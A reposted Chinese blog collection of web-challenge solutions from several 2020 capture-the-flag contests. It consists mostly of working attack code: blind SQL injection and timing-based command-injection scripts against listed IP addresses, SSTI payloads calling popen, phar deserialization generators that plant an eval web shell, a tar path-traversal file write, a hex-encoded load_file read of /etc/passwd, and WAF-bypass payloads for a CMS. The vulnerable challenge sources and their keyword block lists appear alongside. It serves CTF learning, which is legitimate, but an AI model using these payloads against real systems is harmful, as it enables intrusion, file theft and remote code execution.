2020年比赛题目集合

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2022年1月6日01:43:26评论153 views字数 20619阅读68分43秒阅读模式

2020的一些题目集合

钓鱼杯

easyseed

2020年比赛题目集合
注意 PHP 版本

easyweb

cut 和sleep
2020年比赛题目集合
php

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<?php
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://119.3.37.185/');
curl_setopt($ch, CURLOPT_POST, true);
$flag='flag{';
for($i=6;$i<64;$i++){
	for($j=32;$j<=127;$j++){
		$c=chr($j);
		$data=array('cmd' => "a=`cut -b $i /flag*`;[ \$a = \"$c\" ] &amp;&amp; sleep 1" );
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		$t1=microtime(true);
		curl_exec($ch);
		$t=microtime(true)-$t1;
		if($t>1){
			$flag.=$c;
			echo "$flag\n";
			break;
		}
		
	}
}
?>

python

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import requests
import time
url="http://119.3.37.185/"
flag=""
for i in range(6,65):
    for j in range(32,127):
        data="a=`cut -b {} /flag*`;[ $a = \"{}\" ] && sleep 1".format(i,chr(j))
        #print(data)
        start_time=time.time()
        requests.post(url=url,data={"cmd":data})
        end_time = time.time()
        spend_time = end_time - start_time
        if spend_time>1:
            flag += chr(j)
            print(flag)

楚慧杯

套娃

被遗弃的 waf

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

如下请求分别得到index.php和waf.php

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http://198.13.53.87:8002/?file=php://filter/convert.iconv.utf-8.utf-16/resource=waf.php

index.php

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<?php
include 'waf.php';
include 'flag.php';
$Waf = new Wafs;
$get = $Waf->waf($_GET['file']);
include ($get);
$help_arr = ['hello' => 'zhangsan', 'waf' => $_GET['a'], 'goodthing' => 'no'];
$help_ser = serialize($help_arr);
$help_flag = unserialize($Waf->waf($help_ser, 0));
if ($help_flag['goodthing'] === 'yes') {
    echo $flag;
} ?>

waf.php

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<?php 
class Wafs {
    public function waf($things, $all = 1) {
        $waf_1 = "/base|encode|print|zlib|quoted|write|rot13|read|flag|string/i";
        $waf_2 = "/flag|eval|system|cat|whoami|flags/i";
        if ($all == 1) {
            if (preg_match($waf_1, $things)) {
                die(' N��\Ջ;e4xb�vwaf<�br>');
            }
        }
        return preg_replace($waf_2, 'hacker', $things);
    }
} ?>

php反序列化字符逃匿，字符变多

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a=catcatcatcatcatcatcatcatcateval";s:9:"goodthing";s:3:"yes";}

巅峰极客

babyflask

无过滤，考SSTI

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http://eci-2ze91js64coesine03jt.cloudeci1.ichunqiu.com:8888/loged?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].open(%27/flag%27,%27r%27).read()%20}}{%%20endif%20%}{%%20endfor%20%}

babyback

登陆框 password 存在布尔盲注

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import requests

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result
string = [ord(i) for i in r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_-']
flag= ''
url = "http://eci-2ze7qhojurw0cqotdnjs.cloudeci1.ichunqiu.com/index.php"
attack = ''
for i in range(50):
	for j in string:
		attack = flag+chr(j)
		data={
			'username':'\\',
			'password':'or password regexp binary %s#'%(ord2hex('^'+attack))
		}
		r = requests.post(url,data=data,timeout=3)
		if "用户名或密码错" not in r.text:
			flag=flag+chr(j)
			print(flag)
			break

得到flag

babyphp2

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<?php
error_reporting(0);
session_start();
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login();
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好！".$_SESSION['token'];
        echo "<script>window.location.href='upload.php'</script>";
        }
    }
}
    public function upload(){
        $uploader=new Upload();
        $uploader->upload();
    }
    public function read(){
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="p3rh4ps";
    public $dbpass="p3rh4ps";
    public $database="p3rh4ps";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    public function login()
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败，错误:" . $this->mysqli->connect_error);
        }
        $sql="select id,password from users where username=?";
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误！');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function __destruct(){
        echo $this->token;
    }
}
Class Upload{
    public $flag;
    public $file;
    public $ext;
    function __construct(){
        $this->flag = 1;
        $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
    }
    function check(){
        $ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
        $reg=implode("|",$this->black_list);
        $reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
        if(preg_match($reg, $ext)){
            $this->flag = 0;
        }
        $this->ext = $ext;
    }

    function __wakeup(){
        $this->flag = 1;
    }

    function upload(){
        $this->file = $_FILES['file'];
        $this->check();
        if($this->flag){
            if(isset($_FILES['file'])){
                if ($_FILES["file"]["error"] > 0){
                    echo "Error: " . $_FILES["file"]["error"];
                }
                else{
                    if (file_exists("upload/" . $_FILES["file"]["name"])){
                        echo $_FILES["file"]["name"] . " already exists. ";
                    }
                    else{
                        if ($_FILES["file"]["size"] > 10240){
                            echo "too big";
                        }
                        else{
                            $new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
                            echo $new_addr;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
                            return $new_addr;
                        }
                    }
                }
            }
        }
        else{
            die("Noooooooooooooooooooooooooooo!");
        }
    }
}

Class Reader{
    public $filename;
    public $result;
    public function read($filename){
        if (preg_match("/flag/i",$filename)){
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
        echo file_get_contents($val);
}
}

answer:
通过上传phar文件，然后再嵌套读取

利用如下代码生成phar文件

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<?php
class User{
    public $nickname;
    public $backup='/flag';
}
class dbCtrl{
    public $token;
}
class Reader{
}

$dbCtrl = new dbCtrl();
$user = new User();
$dbCtrl->token = $user;
$user->nickname = new Reader();

$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($dbCtrl);
$phar->stopBuffering();
?>

上传，然后读取这里开头过滤了phar,可以嵌套协议 

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compress.zlib://phar://[phar文件]  读取

西湖论剑

easyjson

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<?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

security.php

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<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2020/2/7
 * Time: 1:31 PM
 */

function SecurityCheck($type,$content){
    switch ($type){
        case 'filename':
            if(preg_match("/[^a-z\.]/", $content) !== 0) {
                return false;
            }
            return true;
            break;
        case 'content':
            if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file') || stristr($content,'php')  || stristr($content,'.')) {
                return false;
            }
            return true;
            break;
    }
}

解答
http://www.plasf.cn/articles/2a808de4a49b19.html

json支持的字符中可以支持unicode编码，那么我们全都用unicode编码来代替字符串不就行了

nesec

WARMUP

index.php 

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<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
	$table = 'users';
	$username = addslashes($_POST['username']);
	$password = addslashes($_POST['password']);
	$sql = new SQL();
	$sql->connect();
	$sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}

?>

conn.php

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<?php
include 'flag.php';

 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
    	$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
    	foreach ($blacklist as $value) {
    		if(strripos($this->table, $value)){
    			die('bad hacker,go out!');
    		}
    	}
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

ip.php

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<?php
echo $_SERVER['REMOTE_ADDR'];

answer.php

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<?php
class SQL {
    public $table = "users";
    public $username = "\\";
    public $password = "or username='admin";
    public function __construct() {
        
    }

}
$a = new SQL();
$poc = base64_encode (serialize (array ( 'ip' => "221.219.243.115", 'hack'=>$a)));
echo $poc;

SSRF ME

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import hashlib
def get_captcha(captcha):
    md5 = hashlib.md5()
    md5.update(captcha.encode())
    s = md5.hexdigest()[-6:]
    return s
for i in range(0,1000000000):
    if get_captcha(str(i)) == "3f631f":
        print(i)
        exit(0)

ezsqli

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<?php
//a "part" of the source code here

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    
    if (!isset($_SESSION['VerifyCode']))
            die("?");

    $username = strval($_POST['username']);
    $password = strval($_POST['password']);

    if ( !sqlWaf($password) )
        alertMes('damn hacker' ,"./index.php");

    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
//    password format: /[A-Za-z0-9]/
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
        } else {
            $message = "wrong user";
        }
    } else {
        $message = "user not exist or wrong password";
    }
}

?>

answer

1
 
username=1111'+union+select+1,'admin','admin'%23&password=admin&captcha=NZZ

easql_sql

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def and_operation():
	url="http://124.71.148.26:30022/"
	flag_payload=  "admin') and if((ascii(substr((select * from security.flag limit 0,1),{0},1))&{1}),sleep(2),1) -- "
	info=""
	for j in range(1,42):
		value=0
		for k in range(7):
			payload=flag_payload.format(j,2**k)
			data={
				"uname": payload,
				"passwd":"ye1s"
			}

			start_time = time.time()
			requests.post(url=url, data=data)
			end_time = time.time()
			spend_time = end_time - start_time
			if spend_time>=2:
				value=value+(2**k)
		if value==0:
			break
		info=info+chr(value)
		print(info)
if __name__=="__main__":
	and_operation()

太湖杯

checkInGame

以为打完游戏，应该是不可能的，所以可以看一下调用的类和方法，看那个是玩游戏成功，会调用的方法，直接调用，即可得到flag

CrossFire

解法： https://blog.csdn.net/wanmiqi/article/details/110202417

十六进制转ASCII码 https://www.bejson.com/convert/ox2str/
通过盲注得到源码

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def and_operation():
	url="http://122.112.249.228:10084/index.php?id=193"
	flag_payload= " and ascii(substr((select hex(load_file(0x2f6574632f706173737764))),{0},1))%26{1} -- "
	
	info=""
	for j in range(1,1100):
		value=0
		for k in range(7):
			payload=flag_payload.format(j,2**k)
			#data={
			#	"uname": payload,
			#	"passwd":"ye1s"
			#}


			res=requests.get(url=url+payload)

			if "<img src='" in res.text:
				value=value+(2**k)
		if value==0:
			break
		info=info+chr(value)
		print(info)

if __name__=="__main__":
	and_operation()

index.php

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<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
        
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);

            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);

            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }

            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }

    elseif (isset($_GET['id'])){
        $id=addslashes($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "< img src='$img'/>";
        }
    }
  elseif (isset($_POST['submit1'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            @exec("cd /tmp&&python3 /tar.py ".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
            }
        }
?>

config.php

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<?php 
$conn=mysqli_connect("localhost","root","root","shuyu"); 
if (mysqli_connect_error($conn))
{ 
    echo "     MySQL ʧ  : " . mysqli_connect_error(); 
} 
foreach ($_GET as $key => $value) {
  $value= str_ireplace('\'','',$value);
  $value= str_ireplace('"','',$value);
     $value= str_ireplace('union','',$value);
     $value= str_ireplace('select','',$value);
     $value= str_ireplace('from','',$value);
     $value= str_ireplace('or','',$value);
  $_GET[$key] =$value;
 }
?>

php相关代码

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@exec("cd /tmp&&python3 /tar.py
".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));

这里python的解压就存在很大的问题

tar解压目录穿越
tar 命令可以在打包的时候把路径也打包进去

那么 对于解压 是不是也可以指定目录解压？（目录穿越）

我在自己的主机上执行: 

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root@kali:~# tar cPvf midi.tar ../../../../../../../../var/www/html/testupload/payload.php

此时在本机生成了自己的midi.tar压缩文件

当在其他机器上解压此文件 会不会在/var/www/html/testupload/目录下生成payload.php呢？

经过测试

Linux下解压(使用的是GNU的tar)，默认情况下，tar会自动把前面的/去掉，然后在当前目录解压

Unix则不然，会依照绝对路径解压，对路径中的其他文件不影响，对相同的文件，覆盖。如果不存在某个目录，则创建(如果有权限)。

在这里 python的解压 与Unix的解压同理，会直接在指定路径下进行解压

我们将制作好的midi.tar 上传进行解压，最终会在/var/www/html/testupload/下生成我们的payload.php

easymd5

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$result = @auth($username,$password);
if (md5($username) == md5($result)  and $result !== $username){
echo "bingo : <b>$flag</b>";
}

payload 

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name=240610708&password=abcdabcdabcdabcdabcdabcdabcdabcdQNKCDZO&submit=%E7%99%BB%E5%BD%95

https://ctftime.org/writeup/11325

某次比赛

文件包含

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?filename=php://filter/convert.iconv.utf-8.utf-16/resource=flag.php

sql注入

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1'+(select+updatexml(1,substr((select secert from secert),1,40),1))+'

2020年比赛题目集合

祥云杯

command

做题的时候尽量用 burpsuite 发送

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?url=a||grep%09-r%09fla%09/

flaskbot

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import math
import base64
import sys
app = Flask(__name__)

def safe(str): 
    black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
    for x in black_list:
        if x in str.lower():
            return "Damn you hacker! You will never"
    return str
        
def guessNum(num,name):
    l=0
    r=1000000000.0
    mid=(l+r)/2.0
    ret="
    cnt=0
    while not abs(mid-num)<0.00001:
        cnt=cnt+1
        mid=(l+r)/2.0
        if mid>num:
            r=mid
            ret+="{0}:{1} is too large<br/>".format(cnt,mid)
        else:
            l=mid
            ret+="{0}:{1} is too small<br/>".format(cnt,mid)
        if cnt > 50:
            break
    if cnt < 50:
        ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
    else :
        ret+="Wow! {0} win.".format(safe(name))
    return ret
    

@app.route('/',methods=['POST','GET'])
def Hello():
    if request.method == "POST":
        user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
            return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))

@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')
    if user==None:
        return redirect(url_for("Hello"))
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num<0):
        return "Too Small"
    elif num>1000000000.0:
        return "Too Large"
    else:
        return render_template_string(guessNum(num,name))

@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888)

通过测试这里过滤了os，popen，system，flag等关键字符，可以通过拼接绕过，最后的payload user为

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{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']['po'+'pen']('cat /super_secret_fl'+'ag.txt').read()}}

base64编码，num为nan

嘶吼ctf

签到题

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<?php
	echo "<!-- /?url= -->";
	if ($_GET['url']) {
	if (preg_match("/flag/i", $_GET['url'])) {
	die();
	}
	$curl = curl_init();
	
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_TIMEOUT, 500);
	curl_setopt($curl, CURLOPT_URL, $_GET['url']);
	
	$res = curl_exec($curl);
	curl_close($curl);
	echo $res;
}

ssrf 两次url编码读取。因使用了curl函数，curl会在处理请求的时候再进行一次urldecode。故构造payload时二次urlencode即可绕过

ezsql

过滤了挺多的，mysql8版本

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table information_schema.tables limit 330,1;

2020年比赛题目集合
表达式来逐位爆破
2020年比赛题目集合
由此构造payload

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payload="'or('def','ctf','{}{}',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null)<(table/**/information_schema.tables/**/limit/**/323,1)#".format(flag,table[j])

最后payload

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import requests
import string
def tables():
    url = "http://139.129.98.9:30003/login.php"
    flag = ""
    table = string.digits+string.ascii_uppercase+string.ascii_lowercase
    for i in range(1,8):
        for j in range(len(table)):
            payload = "'or('def','ctf','{}{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,'','','')<(table/**/information_schema.tables/**/limit/**/323,1)#".format(flag,table[j])
            #print(payload)
            post = {
                "username":payload,
                "password":"123"
            }
            text = requests.post(url=url,data=post).content.decode("utf-8")
            if "username error!" in text:
                flag += table[j-1]
                print(flag)
                break
    new_flag =flag[:-1] + table[table.find(flag[-1])+1]
    print(new_flag)
tables()

纵横杯

马赛克

https://github.com/beurtschipper/Depix

hello_php

从配置文件得知 后台登录账户密码 admin admin888
上传aaa.phar文件，修改title,并写入一句话 

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<?php

class Config{
    public $title;
    public $comment;
    public $logo_url;
    public function __construct(){
        $this->title= '123\';echo 123;@eval($_POST[1]);?>';
    }

    
}
$phar = new Phar("aaa.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Config;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

index.php中 ?img=phar://文件名路径 触发

disable_function 很多函数，file_get_contents()没有被禁止，注意记得要打印出来
1=var_dump(file_get_contents (‘/flag’));

大家一起来审代码

海洋cms10.1v
该版本相关漏洞： https://www.freebuf.com/vuls/241106.html
出题人对漏洞点进行了防护，可以找其他漏洞点，或绕过防护

如 admin_ping.php 文件没有对传入的参数做任何防护，可直接传入如下值
利用一： 

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";system("cat /flag");eval($_GET['1']);/*

2020年比赛题目集合
利用二：
取反

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<?php
echo urlencode(~"system");
echo "\n";
echo urlencode(~"cat /flag");
?>

payload

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231");$z='%8C%86%8C%8B%9A%92';$p=~'%9C%9E%8B%DF%D0%99%93%9E%98';$z=~$z;$z($p);//

ezcms

https://github.com/yzmcms/yzmcms/issues/53

FROM :blog.cfyqy.com | Author:cfyqy

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  • 本文由 发表于 2022年1月6日01:43:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   2020年比赛题目集合https://cn-sec.com/archives/722408.html

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